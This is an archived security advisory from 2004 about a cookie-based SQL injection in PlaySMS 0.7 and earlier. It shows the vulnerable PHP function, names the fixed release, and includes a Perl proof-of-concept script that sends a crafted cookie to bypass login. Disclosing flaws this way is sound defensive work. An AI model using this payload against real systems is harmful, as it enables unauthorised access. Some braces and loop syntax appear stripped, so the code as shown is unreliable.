Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   PlaySMS Vendors:
PlaySMS Cookie Input Validation Hole Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1010984
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Aug 18 2004
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 0.7 and prior versions
Description:   An input validation vulnerability was reported in PlaySMS. A remote user can inject SQL commands to be executed by the underlying database.

SecuriTeam reported that the valid() function does not properly validate user-supplied input in cookies. If the "magic_quotes_gpc" setting is set to "Off", a remote user can supply a specially crafted cookie value to execute SQL commands. A remote user can, for example, exploit this to bypass the authentication process.

Impact:   A remote user can inject SQL commands to bypass the authentication process.
Solution:   The vendor has released a fixed version (0.7.1), available at:

Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  [UNIX] PlaySMS SQL Injection via Cookie

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site:
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. 

- - - - - - - - -

  PlaySMS SQL Injection via Cookie


 <> PlaySMS is "a full-featured SMS gateway 
application that features sending of single or broadcast SMSes, the 
ability to receive and forward SMSes, an SMS board, an SMS polling system, 
SMS customs for handling incoming SMSes and forwarding them to custom 
applications, and SMS commands for saving/retrieving information to/from a 
server and executing server-side shell scripts".

An SQL Injection vulnerability in the product allows remote attackers to 
inject arbitrary SQL statements via the cookie mechanism used by the 


Vulnerable Systems:
 * PlaySMS version 0.7 and prior

Immune Systems:
 * PlaySMS version 0.7.1 or newer

Vulnerable code:
The vulnerability is located in the function valid():

function valid($var_ticket="",$var_username="")
    $ticket = $_COOKIE[vc1];
    $username = $_COOKIE[vc2];
    if ($var_ticket && $var_username)
        $ticket = $var_ticket;
        $username = $var_username;
    $db_query = "SELECT ticket FROM tblUser WHERE username='$username'";
    $db_result = dba_query($db_query);
    $db_row = dba_fetch_array($db_result);
    if ($ticket && $db_row[ticket] && ($ticket==$db_row[ticket]))
        return 1;
        return 0;

If you look at the way the function works, the cookie information is 
received as is. This is true only if the "magic_quotes_gpc" setting is set 
to "Off" (NOTE: This is discouraged by the author of the program in the 
INSTALL file).

In the case where "Off" is set the following Perl script will illustrate 
how it can access the fr_left.php script without having provided any 
username or password.

The author of the program has addressed the vulnerability by including 
code that will filter out any incoming malicious code, whenever the 
magic_quotes_gpc is set to "Off". In addition the author took care of 
those cases where Microsoft SQL Server is used as the backend and that 
normal filtering is not enough.

Side note:
Please note that addslashes will NOT work with Microsoft SQL. Since 
Microsoft SQL does not use he backslash character as an escape mechanism. 
Just double your quotes instead. Or use this:

function mssql_addslashes($data) {
   $data = str_replace("'", "''", $data);
   return $data;

# PlaySMS version 0.7 and prior SQL Injection PoC
# Written by Noam Rathaus of Beyond Security Ltd.

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new (  Proto => "tcp", PeerAddr => $host, 
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";


my $http = "GET /~playsms/fr_left.php HTTP/1.1\r
Host: $host:80\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Cookie: vc1=ticket; vc2='%20union%20select%20'ticket;
Content-Type: application/x-www-form-urlencoded\r
Connection: close\r


print "HTTP: [$http]\n";
print $remote $http;
print "Sent\n";

while ()
print $_;
print "\n";

close $remote;


The information has been provided by  <> Noam 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
In order to subscribe to the mailing list, simply forward this email to: 


The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business
 profits or special damages. 


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC